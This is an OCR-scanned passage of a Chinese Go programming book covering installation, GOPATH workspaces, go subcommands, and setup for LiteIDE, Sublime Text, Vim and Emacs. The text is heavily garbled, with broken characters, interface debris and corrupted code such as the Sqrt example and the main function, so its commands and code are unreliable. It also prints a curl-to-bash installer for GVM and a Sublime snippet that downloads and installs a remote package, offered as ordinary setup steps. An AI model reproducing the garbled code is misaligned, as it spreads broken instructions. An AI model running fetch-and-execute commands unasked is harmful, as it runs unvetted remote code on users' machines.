apptematoMacBook-Pro-3:~ apple$ go 
s a tool for managing Go source code. 


go command [arguments] 
[The commands are: 


build compile packages and dependencies 
clean remove object files 

doc run godoc on package sources 

env print Go environment information 

fix run go tool fix on packages 

fmt run gofmt on package sources 

get download and install packages and dependencies 
install compile and install packages and dependencies 
list list packages 

run compile and run Go program 

test test packages 

tool run specified go tool 

version print Go version 

vet run go tool vet on packages 


use "go help [conmand]" for more information about a command. 
[Additional help topics: 

gopath GOPATH environment variable 

packages description of package lists 

remote remote import path syntax 

testflag description of testing flags 

testfunc description of testing functions 


Use “go help [topic]" for more information about that topic. 


|opptenotowocBook-pro-3:- apples I 
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如 果 出 现 Go 语言 的 Usage 信 息 ， 那 么 说 明 Go 语 言 已 经 安装 成 功 ， 如 
果 出 现 该 命令 不 存在 ， 那 么 可 以 检查 一 下 你 的 PATH 环 境 


es 








含 了 Go 语言 的 安装 





台 打 好 包 的 一 键 安装 ， 这 些 





Go 语言 提供 了 每 个 包 默 认 会 安装 到 


如 下 目录 : /usr/local/go (Windows 系 统 ，ci\Go 语 言 》， 当 然 你 可 以 改变 
TN RENE, 但 是 改变 之 后 ， 你 必须 在 你 的 环境 变量 中 设置 如 下 信 

export GOROOT=$HOME/go 

ort, PATH=SPATH : SGOROOT /| 

e a 5e 32 (03% Moa 
3 RR 言 安装 需要 判断 操作 系统 的 位 数 ， 所 以 下 面 先 确定 自己 的 系 
统 类 型 。 

Windows 系 统 用 户 请 按 Win 十 R 组 合 键 运行 cnd， 输 入 systeminfo 后 
按 回 车 键 ， 稍 等 片刻 ， 会 出 现 一 些 系 在 “系统 类 型 "一 行 中 ， 若 
显示 “x64-based PC”， 即 为 64 位 系统 ; 示 “X86-based PC”， 则 为 32 位 
系统 。 

Mac 系 统 用 户 建议 直接 使 用 64 位 系统 ， 因 为 Go 语言 所 支持 的 Mac 
OS X 版 本 已 经 不 支持 纯 32 位 处 理 器 了 。 

Linux 系 统 用 户 可 通过 在 Terminal 中 执行 命令 uname -a 来 查看 系统 信 
息 。 

64 位 系统 显示 

< 一 段 描述 > x86_64 x86_64 x86_64 GNU/Linux 

/7 有 些 机 器 显示 如 下 ， 钢 如 ubuntu10.04 

x86_64 GNU/Linux 

32 位 系统 显示 

< 一 段 描述 > 1686 i686 i386 GNU/Linux 

Mac 安 装 

访问 http://code.google.com/p/go/downloads/list，32 位 系统 下 载 
gol1.0.3.darwin-386.pkg，64 位 系统 下 载 go1.0.3.darwin-amd64.pkg， 双 击 
下 载 文件 ， 按 照 默 认 一 直 单 击 “ 下 一 步 ”按钮 ， 这 时 Go 语言 已 经 安装 好 ， 
默认 在 PATH 中 增加 了 相应 的 一 /go/bin， 这 时 打开 终端 ， 输 入 go， 看 到 
类 似 图 1.1 源 码 安 装 成 功 的 图 片 后 说 明 已 经 安装 成 功 。 

如 果 出 现 Go 语 言 的 Usage 信 息 ， 那 么 说 明 Go 语言 已 经 安装 成 功 ， 如 
peas 命令 不 存在 ， 那 么 可 以 检查 一 下 自己 的 PATH 环境 变量 中 是 否 

含 了 Go 语言 的 安装 目录 。 

Linux 安 装 

访问 http://code.google.com/p/go/downloads/list，32 位 系统 下 载 
g01.0.3.linux-386.tar.gz，64 位 系统 下 载 g01.0.3.linux-amd64.tar.gz， 假 定 
你 想 安装 Go 语言 的 目录 为 SGO_INSTALL_DIR， 那 么 就 普 换 为 相应 的 
目录 路 径 。 

解压 缩 tar.gz 包 到 安装 目录 下 : tar zxvf go1.0.3.linux-amd64.tar.gz -C 
$GO_INSTALL_DIR. 

设置 PATH，export PATH=$PATH:$GO_INSTALL_DIR/go/bin, #& 










后 执行 go， 显 示 如 图 1-2 所 示 。 





如 果 出 现 Go 语言 的 Usage 信 息 
该 命令 不 存在 ， 那 么 可 以 
目录 。 


， 那 么 说 明 Go 已 经 安装 成 功 了 ; 如 果 
-下 自己 的 PATH 环 境 变 量 中 是 否 包 





提示 
含 了 Go 语言 凶 
Windows Be 












Femd, | 输入 go， 

成 功 。 

的 Usage 信 
那么 可 以 

目录 。 






的 显示 ， 说 明 已 

如 果 出 现 Go 
果 出 现 该 命令 不 存 
包含 了 Go 语言 名 






fue 和 说 明 Go 语 计 已 经 成 功 ， 如 














第 三 方 工具 安装 





GVM 

GVM 是 第 三 方 开发 的 Go 语言 多 版 本 管理 工具 ， 类 似 ruby 里 面 的 rvm 
工具 。 使 用 非常 方便 ， 安 装 GVM 使 用 如 下 命令 。 

bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/ 
gvm-installer) _ a nee 

安装 完成 后 ， 我 们 就 可 以 安装 go。 

gvm install gol.0.3 

gyn use gol.0.3 


执行 完 上 面 的 命令 之 后 ，GOPATH、GOROOT 等 环境 变量 会 自动 
设置 好 ， 这 样 就 可 以 直接 使 用 了 。 

apt-get 

Ubuntu 是 目前 使 用 最 多 的 Linux 课 面 系统 ， 使 用 apt-get 命 令 米 管理 软 
件 包 ， 我 们 可 以 通过 下 面 的 命令 来 安装 go。 
-repository ppa:gophers/go 
cares 
install golang-stable 







homebrew 
homebrew 是 Mac 系 统 下 目前 使 用 最 多 的 管理 软件 的 工具 ， 目 前 已 支 
持 Go 语言 ， 可 以 通过 命令 直接 安装 go。 


brew install go 


1.2 GOPATH 与 工作 空间 


GOPATH 设 置 





go 命令 依赖 一 个 重要 的 环境 变量 : $GOPATH 
在 类 似 UNIX 环 境 设置 如 下 。 
export GOPATH=/home/apple/myg 


Windows 设 置 如 上 下， 新 建 一 个 环境 变量 名 称 叫 做 GOPATH。 


GOPATH=C: \nygo 

GOPATH 允 许多 个 目录 ， 当 有 多 个 目录 时 ， 请 注意 分 隔 符 ， 多 个 
GOPATH 的 时 候 ，Windows 系 统 是 分 号 ，Linux 系 统 是 冒号 ， 当 有 多 个 
GOPATH 时 ， 默 认 将 go get 的 内 容 放 在 第 一 个 目录 下 。 

以 上 $GOPATH 目 录 约 定 有 三 A 

e src 存放 源 代码 (比如 : .go、.c、.h、.s 等 )。 

e pkg 编 译 后 生成 的 文件 (比如 : a) 。 





。 “bin 编译 后 生成 的 可 执行 文件 (为 了 方便 ， 可 以 把 此 目录 加 入 到 
$PATH 变 量 中 ) 。 
本 书 中 所 有 的 例子 都 是 以 mygo 作 为 笔者 的 GOPATH 目 录 。 


应 用 目录 结构 


建立 包 和 目录 : SGOPATH/src/mymath/sqrt.go 〈 包 名 : “mymath”) 
本 书 中 新 建 应 用 或 者 一 个 代码 包 都 是 在 src 目 录 下 新 建 一 个 文件 夹 ， 
文件 夹 名 称 一 般 是 代码 包 名 称 ， 当 然 也 允许 多 级 目录 ， 例 如 ， 在 src 下 面 
新 建 了 目录 。$GOPATH/src/ github.com/astaxie/beedb 这 个 包 名 称 就 

是 “github.com/astaxie/beedb”， 即 最 后 一 个 目录 。 

执行 如 下 代码 。 

SO ROUSE 

mkdir mymat 

新 建文 件 art go， 内 容 如 下 。 

77 $GOPATH/src/mymath/sqrt .qo 源码 如 下 

package mynath 




















func Sqrt (x floaté4) float64 { 


rsa 0.0 

for i := O; i < 1000; i++ { 
z -= (z*z - x) / (2 * x) 

) 

return z 


放样 笔者 的 应 用 包 目录 和 代码 已 经 新 建 完毕 ， 注 
package 的 名 称 和 目录 名 保持 一 致 。 




















编译 应 





上 面 我 们 已 经 建立 了 自己 的 应 用 包 ， 如 何 进行 编译 安装 呢 ? 有 两 种 
方式 可 以 进行 安装 。 

1. 只 要 进入 对 应 的 应 用 包 目 录 ， 然 后 执行 go install， 即 可 安装 。 

2. 在 任意 的 目录 下 执行 代码 go install mymath. 

安装 完 之 后 ， 我 们 可 以 进入 如 下 目录 。 

ca §GOPATH/pka/${G0OS}_${GOARCH} 

4/ 可 以 看 到 如 下 文件 


"外 文件 是 应 用 包 ， 如 何 调用 呢 ? 接 下 来 ， 我 们 新 建 一 个 应 用 各 


序 来 调用 。 
新 建 应 用 包 mathapp。 
cd §GOPATH/sre 
mkdir mathapp 
ca mathapp 
vim main.go 
ASGOPATH/src/mathapp/main.go 源码 如 下 。 
Package main 


import ( 
"mymath" 
"emt" 

) 


fune main() ( 
fmt .Printf (rHello, world. Sqrt (2) = $v\n", mymath.Sqrt (2)} 


如 何 编译 程序 呢 ? 进入 该 应 用 目录 
目录 下 面 会 生成 一 个 mathapp 的 可 执行 文 

. /mathapp 

输出 如 下 内 容 。 

Hello, world. Sqrt(2) = 1.414213562373095 

如 何 安装 该 应 用 ? 进入 该 目录 执行 go install， 在 $GOPATH/bin/ 下 增 
加 了 一 个 可 执行 文件 mathapp， 在 命令 行 输入 如 下 命令 就 可 以 执行 。 

matha 

输出 如 下 内 容 。 


Hello, world. sqrt (2) = 1.414213562373095 
获取 远程 包 


Go 语言 有 一 个 获取 远程 包 的 工具 就 是 go get， 目 前 go get 支 持 多 数 开 
源 社区 (例如 : github, googlecode, bitbucket, Launchpad) 。 

go get github,com/astaxie/beedb 

通 轩 这 个 命令 可 以 获取 入 应 的 源码 ， 对 应 的 开源 平台 采用 不 同 的 源 
码 控制 工具 ， 例 如 ，github 采 用 git，googlecode 采 用 hg， 所 以 要 想 获取 
这 些 源码 ， 必 须 先 安装 相应 的 源码 控制 工具 。 

通过 go get 获 取 的 代码 在 我 们 本 地 的 源码 结构 如 下 。 





执行 go build， 那 么 在 该 








SGOPATH 
sre 
1--github. com 
1-astaxie 
|-beedb 
pkg 
1-- 相 应 平台 
l-github.com 
I--astaxie 


lbeedb.a 
go get 本 质 上 可 以 理解 为 ， 首 先 通过 源码 工具 clone 代 码 到 src 目 录 ， 
然后 执行 go install。 
在 代码 中 如 何 使 用 远程 包 ? 很 简单 ， 就 是 和 使 用 本 地 包 一 样 ， 只 要 
在 开头 import 相 应 的 路 径 即 可 。 


import "github.com/astaxie/beedb" 


程序 的 整体 结构 


通过 上 面 建立 的 笔者 本 地 mygo 的 目录 结构 如 下 。 
bin/ 
a 
pkg/ 
平台 名 / M: darwin amd64, linux_and64 
mynath.a 
github. com/ 
astaxie/ 
beedb.a 
src/ 
mathapp 


main.go 
mymath/ 





util.go 
从 上 面 的 结构 我 们 可 以 很 清晰 地 看 到 ，bin 目 录 下 面 存放 的 是 编译 
ZTA, pke 下 而 存放 的 是 汪 数 包 ，sre 下 而 保存 的 是 应 用 浙 
代码 。 


Go 语言 自 带 有 
执行 go 来 查看 它们 ， 
11 Go isat 









图 1.3 Go 语 Aa) 


这 些 命令 对 于 我 们 平时 编写 代码 非常 有 用 ， 接 下 来 就 让 我 们 了 解 其 
用 的 命令 。 











用 于 测试 编译 。 在 包 的 编译 过 程 中 ， 若 有 必要 ， 会 同 
译 与 之 相关 联 的 包 。 





e 如果 是 普通 包 ， 就 像 我 们 在 第 1.2 节 中 编写 的 mymath 包 那样 ， 当 
你 执行 go build 之 后 ， 它 不 会 产生 任何 文件 。 如 果 你 需要 在 
$GOPATH/pkg 下 生成 相应 的 文件 ， 则 要 执行 go install. 

。 如 果 是 main 包 ， 当 你 执行 go build 之 后 ， 它 就 会 在 当前 目录 下 生 
成 一 个 可 执行 文件 。 如 果 你 需要 在 $GOPATH/bin 下 生成 相应 的 文件 ， 需 
要 执行 go install， 或 者 使 用 go build -o 路 径 /a.exe。 

o 如 果 某 个 项 目 文件 夹 下 有 多 个 文件 ， 而 你 只 想 编译 某 个 文件 ， 
就 可 在 go build 之 后 加 上 文件 名 ， 例 如 go build a.go; go build 命 令 默认 会 
编译 当前 目录 下 的 所 有 go 文件 。 

se 你 也 可 以 指定 编译 输出 的 文件 名 。 例 如 第 1.2 节 中 的 mathapp 应 
用 ， 我 们 可 以 指定 go build -o astaxie.exe， 默 认 情 况 是 你 的 package 名 

( 非 main 包 ) ， 或 者 是 第 一 个 源 文件 的 文件 名 (main 包 〉。 





注 : 实际 上 ，package 名 在 Go 语言 规范 里 指 代码 中 “package" 后 使 用 
oe: 此 名 称 可 以 与 文件 夹 名 不 同 。 默 认 生成 的 可 执行 文件 名 是 文件 


© go build 会 忽略 目录 下 以 “” 或 “” 开 头 的 go 文件 。 

o ”如 果 你 的 源 代码 针对 不 同 的 操作 系统 需要 不 同 的 处 理 ， 那 么 你 
可 以 根据 不 同 的 操作 系统 后 绷 来 命名 文件 。 例 如 ， 有 一 个 读 取 数 组 的 程 
序 ， 它 对 于 不 同 的 操作 系统 可 能 有 如 下 几 个 源 文件 : 

array_linux.go array_darwin.go array_windows.go array_freebsd.go 

使 用 go build 的 时 候 会 选择 性 地 编译 以 系统 名 结尾 的 文件 Linux, 
darwin、Windows、freebsd) 。 例 如 ，Linux 系 统 下 面 编译 只 会 选择 
array_linux.go 文 件 ， 其 他 系统 命名 后 缀 文件 全 部 忽略 。 





go clean 
这 个 命令 用 来 移 除 当前 源码 包 里 面 编译 生成 的 文件 。 这 些 文件 包括 
_obj/ 旧 的 object 目 录 ， 由 Makefiles 遗 留 
_test/ 旧 的 test 目 录 ， 由 Makefiles 遗 留 
_testmain.go 旧 的 gotest 文 件 ， 由 Makefiles 遗 留 
test.out 旧 的 test 记 录 ， 由 Makefiles 遗 留 
build.out 旧 的 test 记 录 ， 由 Makefiles 遗 留 


*.[568ao] object 文 件 ， 由 Makefiles 遗 留 


DIR(.exe) 由 go build 产 生 

DIR.test(.exe) 由 go test -c 产 生 

MAINFILE(.exe) 由 go build MAINFILE.go 产 生 

笔者 一 般 都 是 利用 这 个 命令 清除 编译 文件 ， 然 后 用 github 递 交 源 
码 ， 在 本 机 测试 时 ， 这 些 编译 文件 都 是 和 系统 相关 的 ， 但 是 对 于 源码 管 
理 来 说 没 必 要 。 


go fmt 


有 过 C/C++ 编程 经 验 的 读者 会 知道 ， 一 些 人 经 常 为 代码 是 采取 K&R 
风格 还 是 ANSI 风 格 而 争论 不 休 。 在 Go 语言 中 ， 代 码 见 + 
由 于 之 前 已 经 有 的 一 些 习惯 或 原因 , 我 们 常 将 代 







Goi ert T RER OE UDO $ 不 按 
式 的 代码 将 不 能 编译 通过 。 为 了 减少 浪费 在 排版 上 的 时 间 ，Go 语 言 
具 集 中 提供 了 一 个 go fmt 命 令 ， 它 可 以 帮 你 格式 化 所 写 好 的 代码 文件 ， 
使 你 在 写 代码 的 时 候 不 需要 关心 格式 ， 只 需要 在 写 完 之 后 执行 go fmt < 
文件 名 >.go， 你 的 代码 就 被 修改 成 了 标准 格式 。 但 是 笔者 平常 很 少 用 到 
这 个 命令 ， 因 为 开发 工具 里 面 一 般 都 带 有 保存 时 自动 格式 化 功能 ， 这 个 
功能 其 实在 底层 就 是 调用 了 go fmt。 接 下 来 我 们 将 讲述 两 个 工具 ， 这 两 
个 工具 都 自 带 保存 文件 时 自动 化 go fmt 功 能 。 

使 用 go fmt 命 令 ， 更 多 的 时 候 是 用 gofmt， 而 且 需 要 参数 -w， 否 则 格 
式 化 结果 不 会 写 入 文件 。 使 用 gofmt -w src， 可 以 格式 化 整个 项 目 。 





go get 


这 个 命令 用 以 动态 获取 远程 代码 包 ， 目 前 支持 的 有 BitBucket、 
GitHub、Google Code 和 Launchpad。 这 个 命令 在 内 部 实际 上 分 成 两 步 操 
作 : 第 一 步 是 下 载 源码 包 ， 第 二 步 是 执行 go install。 下 载 源码 包 的 Go 语 
言 工具 会 自动 根据 不 同 的 域名 调用 不 同 的 源码 工具 ， 对 应 关系 如 下 。 

BitBucket (Mercurial Git 
GitHub an i 
Google Code Project Hosting (Git, Mercurial, Subversion) 


Launchpad (Bazaar) 


所 以 为 了 go get 能 正常 工作 ， 你 必须 确保 安装 了 合适 的 源码 管理 工 


具 ， 并 同时 把 这 些 命令 加 入 你 的 PATH 中 。 其 实 go get 支 持 自 定义 域名 的 
功能 ， 有 具体 参见 go help remote. 
go install 


这 个 命令 在 内 部 实际 上 分 成 两 步 操作 : 第 一 步 是 生成 结果 文件 〈 可 
MEN 或 者 .a 包 ) ， 第 二 步 会 把 编译 好 的 结果 移 到 $GOPATH/pkg 或 者 
$GOPATH/bin. 


go test 


执行 这 个 命令 ， 会 自动 读 取 源码 目录 下 名 为 *_test.go 的 文件 ， 生 成 
并 运行 测试 用 的 可 执行 文件 。 输 出 的 信息 类 似 如 下 内 容 。 

ok archive/tar 0.011s 

FAIL archive/zip 0.022s 

ok compress/gzip 0.033s 








i ， 不 需要 任何 参数 ， 它 会 自动 把 你 的 源码 包 下 面 所 有 的 
test 文 件 测试 完毕 ， 当 然 你 也 可 以 带 上 参数 ， 详 细 内 容 请 参考 go help 
testflag. 
go doc 


很 多 人 说 Go 语言 不 需要 任何 第 三 方 文档 ， 例 如 ，chm 手 册 之 类 的 
ooo 个 chm 手 册 ) ， 因 为 它 内 部 就 有 一 个 很 强大 的 文 
KTR. 

如 何 查 看 相应 的 package 文 档 呢 ? 如 果 是 builtin 包 ， 那 么 执行 go doc 
builtin; 如 果 是 http 包 ， 那 么 执行 go doc nevhttp; 查看 某 一 个 包 里 面 的 函 
数 ， 则 执行 godoc fmt Printf， 也 可 以 查看 相应 的 代码 ， 执 行 godoc -sre 
fmt Printf. 

通过 命令 行 的 方式 执行 godoc -http=: 端 口号 ， 比 如 godoc - 
http=:8080。 然 后 在 浏览 器 中 打开 127.0.0.1:8080， 你 将 会 看 到 一 个 
golang.org 的 本 地 副本 ， 通 过 它 可 查询 pkg 文 档 等 其 他 内 容 。 如 果 你 尔 设置 
了 GOPATH， 在 pkg 分 类 下 ， 不 但 会 列 出 标准 包 的 文档 ， 还 会 列 出 本 地 
GOPATH 中 所 有 项 目的 相关 文档 ， 这 对 于 经 常 被 限制 访问 的 用 户 来 说 是 








一 个 不 错 的 选择 。 














Go 语言 还 提供 了 很 多 其 他 的 工具 ， 例 如 下 面 这 些 。 
go 吾 x 用 来 修复 以 前 老 版 本 的 代码 到 新 版 本 ， 例 如 got MENEE gI 


和 








Dee AME Se 用 户 可 以 使 用 go help air 
令 获 取 更 详细 的 帮助 信息 











14 Go 语言 开发 工具 





本 节 将 介绍 几 个 开发 工具 ， 它 们 都 具有 自动 化 提示 和 自动 化 fmt 功 
能 。 因 为 它们 都 是 跨 平台 的 ， 所 以 安装 步骤 都 是 通用 的 。 


LiteIDE 


LiteIDE 是 一 款 专门 为 Go 语言 开发 的 跨 平台 轻 量 级 集成 开发 环境 
CIDE) ， 由 visualfc 编 写 ， 其 主 界面 如 图 1-4 所 示 。 











65 | // contains returns true if substr is within s. 
Ges fune Contains (z, substr xering) boel 1 
turn Index(s, subst) >= 
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图 1.4 LiteIDE 主 界面 


LiteIDE 的 主要 特点 如 下 。 

.支持 主流 操作 系统 

Windows 

Linux 

Mac OS X 

Go 语言 编译 环境 管理 和 切换 
管理 和 切换 多 个 Go 语言 编译 环境 
支持 Go 语言 交叉 编译 

与 Go 语言 标准 一 致 的 项 目 管理 方式 
基于 GOPATH 的 包 浏览 器 

基于 GOPATH 的 编译 系统 

基于 GOPATH 的 API 文 档 检索 
Go 语言 的 编辑 支持 

类 浏览 器 和 大 纲 显示 






eeecDeehDeee > 





Gocode〈 代 码 自动 完成 工具 ) 的 完美 支持 
Go 语言 文档 查看 和 API 快 速 检 索 
代码 表达 式 信息 显示 Fl 
源 代码 定义 跳 转 支持 F2 
Gdb 断 点 和 调试 支持 
gofmt 自 动 格式 化 支持 
其 他 特征 
支持 多 国语 言 界面 显示 
完全 插件 体系 结构 
支持 编辑 器 配色 方案 
基于 Kate 的 语法 显示 支持 
基于 全 文 的 单词 自动 完成 
支持 键盘 快捷 键 绑 定 方案 
Markdown 文 档 编 辑 支 持 
.实时 预览 和 同步 显示 
自 定义 CSS 显 示 
.可 导出 HTML 和 PDF 文 档 
.批量 转换 /合并 为 HTML/PDF 文 档 
LiteIDE 安 装配 置 
LiteIDE 安 装 
© 下 载 地 址 http://code.google.com/p/golangide 
”源码 地 址 https://github.com/visualfc/liteide 
首先 安装 好 Go 语言 环境 ， 然 后 根据 操作 系统 下 载 LiteIDE 对 应 的 压 
缩 文件 ， 直 接 解 压 即 可 使 用 。 
© Gocode 安 装 
启用 Go 语言 的 输入 自动 完成 需要 安装 Gocode。 
go get -u github.com/nsf/gocode 
e 编译 环境 设置 
根据 系统 自身 要 求 切换 和 配置 LiteIDE 当 前 使 用 的 环境 变量 。 
以 Windows 操 作 系统 ，64 位 Go 语言 为 例 ， 工 具 栏 的 环境 配置 中 选择 
win64， 单 击 编辑 环境 ， 进 入 LiteIDE 编 辑 win64.env 文 件 。 
GOROOT=c: \go 
GoBIN= 
GOARCH=ama64 
Goos=windows 
CGO_ENABLED=1 


conoeeeeeeemneeee ee 


PATH=€GOBIN$; $GORODTS\bin; PATHS 


将 其 中 的 GOROOT=c:\go 修 改 为 当前 Go 语言 安装 路 径 ， 存 盘 即 可 ， 
如 果 有 MinGW64， 可 以 将 c\MinGW64\bin 加 入 PATH 中 ， 以 便 Go 语 言 调 
用 gcc 支 持 CGO 编译 。 

以 Linux 操 作 系统 ，64 位 Go 语言 为 例 ， 工 具 栏 的 环境 配置 中 选择 
linux64， 单 击 编辑 环境 ， 进 入 LiteIDE 编 辑 linux64.env 文 件 。 


GOROOT=$HOME/go 





Gaos=1lin 
CGO_ENABLED=1 


PATH=$GOBIN: SGOROOT/bin: $PATH 


将 其 中 的 GOROOT=$HOME/go 修 改 为 当前 Go 语言 安装 路 径 ， 存 盘 
即 可 。 

e GOPATH 设 置 

Go 语言 的 工具 链 使 用 GOPATH 设 置 ， 是 Go 语言 开发 的 项 目 路 径 列 
表 ， 在 命令 行 中 输入 〈 在 LiteIDE 中 也 可 以 用 Ctrl+ 键 ， 直 接 输入 ) go 
help gopath 快 速 查看 GOPATH 文 档 。 

在 LiteIDE 中 可 以 方便 地 查看 和 设置 GOPATH。 通 过 菜单 一 查看 一 
GOPATH 设 置 ， 可 以 查看 系统 中 已 存在 的 GOPATH 列 表 ， 同 时 可 根据 需 
要 添加 项 目 目录 到 自 定义 GOPATH 列 表 中 。 


Sublime Text 


这 里 将 介绍 Sublime Text 2〈 以 下 简称 Sublime) 十 GoSublime 十 
gocode 十 MarGo 的 组 合 ， 为 什么 选择 这 个 组 合 呢 ? 
。 ”自动 化 提示 代码 ， 如 图 1.5 所 示 。 

















图 15 Sutlime 自 动 化 提示 办 而 

o ”保存 的 时 候 自动 格式 化 代码 ， 使 编写 的 代码 更 加 美观 ， 符 合 Go 
语言 的 标准 。 

e 支持 项 目 管理 ， 其 界面 如 图 1.6 所 示 。 


























utorial 

File Hit Selection Find View Goto Tools Project Preferences Help 

FOLDER 

Y golnotutonals 
> contrat 


maingo 


> garoutine 
P gowen 

> gowebapp 
> neto 
interface 
$ mango 

> object 

> osema 

Y reet 


e) 


1O == reflect Floste) 


P sortmap 
b Titoa 
b wed 

> beego 

> mysal 


> canapi 


图 1.6 ”Sublime 项 目 管理 界面 


e 支持 语法 高 亮 显 示 。 

© Sublime Text 2 可 免费 使 用 ， 只 是 保 
就 会 提示 是 否 购买 ， 单 击 取消 继续 用 ， 和 正式 ?> 

接 下 来 介绍 如 何 安装 : 首先 下 载 Sublime， 根 据 自 己 的 系统 下 载 相 
应 的 版 本 ， 然 后 打开 Sublime。 

1. 打开 之 后 安装 Package Control: 用 Ctrl 十 ` 键 打开 命令 行 ， 执 行 如 
下 代码 

import urllib2,os; p 
install 


























ge Control. sublime—pack: 
makedirs (ipp) if not os.p 
(urllib2.build_opener (urllib2.ProxyHandler (})); 
) write (urllib2.urlopen('http://sublime.wbo 
")),read()); print ' Sublime Text 







open (o 
nd.net/'™+pf. 
to finish in on! i : 

这 时 重启 Sublime， 可 以 发 现在 菜单 栏 多 了 一 个 “Package Control" 栏 
目 ， 如 图 1.7 所 示 ， 说 明 Package Control 已 经 成 功 安装 。 














Browse Packages 


Settings ~ Default 
Settings ~ User 
Settings - More 

Key Bindings ~ Default 
Key Bindings — User 
Font 

Color Scheme 

Package Settings 


Fackage Control —> 


图 1.7 Sublime 包 管理 


安装 gocode 和 MarGo， 打 开 终端 运行 如 下 代码 〈 需 要 git) 。 
go get gtthub,com/nsf/gocode 
go get github. com/DisposaBoy/MaxGo 
这 不 时 候 我 们 会 发 现在 $SGOPATH/bin 下 面 多 了 两 个 可 执行 文件 : 
e 这 两 个 文件 会 在 GoSublime 加 载 时 自动 启动 。 
.安装 完 之 后 就 可 以 安装 Sublime 的 插件 了 。 需 安装 GoSublime、 
ietan Build， 安 装 插件 之 后 记得 重启 Sublime 生 效 ， 
利用 Ctrl 十 Shift 十 p 键 打开 Package Control， 输 入 pcip 〈 即 “Package 
Control: Install Package” 的 缩写 ) 
这 个 时 候 看 左下 角 显 示 正 
示 的 界面 。 











取 包 数据 ， 完 成 之 后 出 现 如 图 1.8 所 


Esse 
4GL 

AGL Syntax Package for Sublime Text 2 

instali v2012.02.21.17.22.02; github... /skarcha/SublimeText2-4GL 
AAAPackageDev 

Tools to ease the creation of snippets, syntax definitions, etc. for $. 
install v2012.07.25.02.03.03; github.../SublimeText/AAAPackageDex 


Abacus 
An Alignment Plugin for Sublime Text 2 that actually works “3A ]" 
install v2012.08.17.03.25.35; github.com/khiltd/Abacus 


ActionScript 3 

Sublime Text 2 Package for ActionScript 3 Development 

install v2012.02.29.18.01.54; githu.../skoch/Sublime-ActionScript-3 
ADBView 

Android Debug Bridge Logcat view plugin for Sublime Text 2 

install v2012.08.16.04.15.40; github.com/quarnster/ADBView 
Additional PHP Snippets 

A collection of miscellaneous snippets for coding in PHP using S...t 2 
Install v2012.02.13,10.45.59; g...stuartherbert/sublime-phpsnippet: 





图 1.8 Sublime 安 装 插件 界面 
再 输入 GoSublime， 按 “确定 ”按钮 即 可 开始 安装 。 同 理 ， 应 用 于 
SidebarEnhancements 和 Go Build。 
4. 验证 是 否 安装 成 功 ， 你 可 以 打开 Sublime， 打 开 main.go， 看 看 语 








法 是 否 高 亮 显示 ， 输 入 import 是 否 自动 化 提示 ，import "fmt" 之 后 ， 输 入 
fmt. 是 否 自动 化 提示 有 函数 。 





_ 如 果 已 经 出 现 该 提示 ， 说 明 你 已 经 安装 完成 ， 并 且 完 成 了 自动 提 

j 如 果 没 有 出 现 该 提示 ， 一 般 情况 是 $PATH 没 有 配置 正确 。 你 可 以 打 
开 终端 ， 输入 gocode， 看 是 否 能 够 正确 运行 ， 如 果 不 行 ， 就 说 明 $PATH 
没有 配置 正确 。 


Vim 
Vim 是 从 vi 发 展 出 来 的 一 个 文本 编辑 器 ， 代 码 补 全 、 编 译 及 错误 跳 


转 等 方便 编程 的 功能 特别 丰富 ， 被 广大 程序 员 使 用 ， 其 编辑 器 自动 化 提 
示 Go 语 言 界面 如 图 1.9 所 示 。 


量 ， 


rae + (ert eeh foolenee ment etngr el (1 of 2) -VIA 


string] interface 


up| string|dnterface| 


out unix 


图 1.9 Vim 编辑 器 自动 化 提示 Go 语言 界面 











Br 


亮 显示 


vimrc ai 增加 语法 高 


plugin indent on 


socode 





¢ -u github 9 
Gocode 驮 认 安 装 到 SGOBIN 下 。 


4. 配置 Gocode 





TER 


ewe 
iš 


e propose-builtins: 是 否 自动 提示 Go 语言 的 内 置 


默认 为 false， 不 提 








linux amdé4" 


、 类 型 和 常 


© lib-path: 默认 情况 下 ，gocode 只 会 搜索 
**$GOPATH/pkg/$GOOS_$GOARCH**fil 
$GOROOT/pkg/$GOOS_$GOARCH 目 录 下 的 包 ， 当 然 此 设置 可 以 设置 我 
们 额外 的 lib 能 访问 的 路 径 。 
= i ar 安装 完成 ， 你 现在 可 以 使 用 e main.go 体 验 一 下 开发 Go 
语言 的 乐趣 。 


Emacs 
Emacs 是 传说 中 的 神器 ， 它 不 仅仅 是 一 个 编辑 器 ， 还 是 一 个 整合 环 


境 ， 或 可 称 它 为 集成 开发 环境 ， 这 些 功能 就 像 让 使 用 者 置身 于 全 功能 的 
操作 系统 中 ， 其 主 界面 如 图 1.10 所 示 。 





























e 配置 Emacs 高 亮 显示 

cp $GORO0T/misc/emacs/* ~/.emacs.d/ 
”安装 Gocode 

go get -u github.com/nsf/gocode 
gocode 默 认 安 装 到 $GOBIN 下 。 

© 配置 Gocode 


~ ed $GOPATH/sre/github. com/ns£/gocode/emacs 

~ cp go-autocomplete.el ~/.emacs.d/ 

~ gocode set propose-builtins true 

propose builtins true 

~ gocode set lib-path "/home/border/gocode/pkg/1inux_amd64" 
/4 换 为 你 自己 的 路 径 

lib-path "/home/border/gocode/pkg/linux_amd64" 

~ gocode set 

propose-builtins true 

lib-path "/home/border/gocode/pkg/1inux_amdé4" 

要 安装 Auto Completion 

下 载 AutoComplete 并 解压 ， 一 make install 
HOME/.emacs.d/auto-complete， 配 置 一 /emacs 文 件 。 


jjauto-complete 

(require 'auto-complete-config) 

(add-to-list ‘ac-dictionary-divectories "-/.enacs.d/auto-complete/ac 
-dict") 

(ac-config default) 

(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) 

(local-set-key "." 'semantic-complete-self-insezt) 

(local~set-key ">" 'semantic-complete-self-insert) 

详细 信息 可 参考 http://www.emacswiki.org/emacs/AutoComplete » 


。 配置 .emacs 











š; golang mode 

(require 'go-mode-load) 

(require 'go-autocomplete) 

ři speedbar 

7 (speedbar 1) 

(speedbar-add-supported-extension ".go") 

(add-hook 

"go-mode-hook 

‘(lambda () 
fi gocode 
(auto-com 





e-mode 1) 
(setq ac-sources '(ac-source-go) ) 
j; Imenu & speedbar 
[setq imenu-generic-expression 
t (("type" "^type AN(I VENASI" 1) 
("func" "*fune #\\(.*\\) 1" 1))) 
(imenu-add-to-menubar "Index") 





ji Outline mode 
(make-local-variable ‘outline-regexp) 
(setq cutline-regexp "//\\.\\1//[*\r\n\£] [*\r\n\£] \\ pack\\ | func\\ | 
impo\\|cons\\|var-\\|type\\I\E\E*.--.") 
(outline-minor-mode 1) 
-set-key "\M-a" ‘outline-previous-visible-heading) 
